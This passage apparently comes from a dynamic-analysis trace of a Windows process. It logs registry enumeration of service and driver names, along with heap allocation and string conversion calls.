Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.760] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.760] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.761] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.761] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.761] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.761] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0231.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.762] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.762] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.762] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0231.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.763] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.763] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.763] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.763] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0231.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.764] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.764] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.764] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0231.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0231.765] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0231.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0231.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 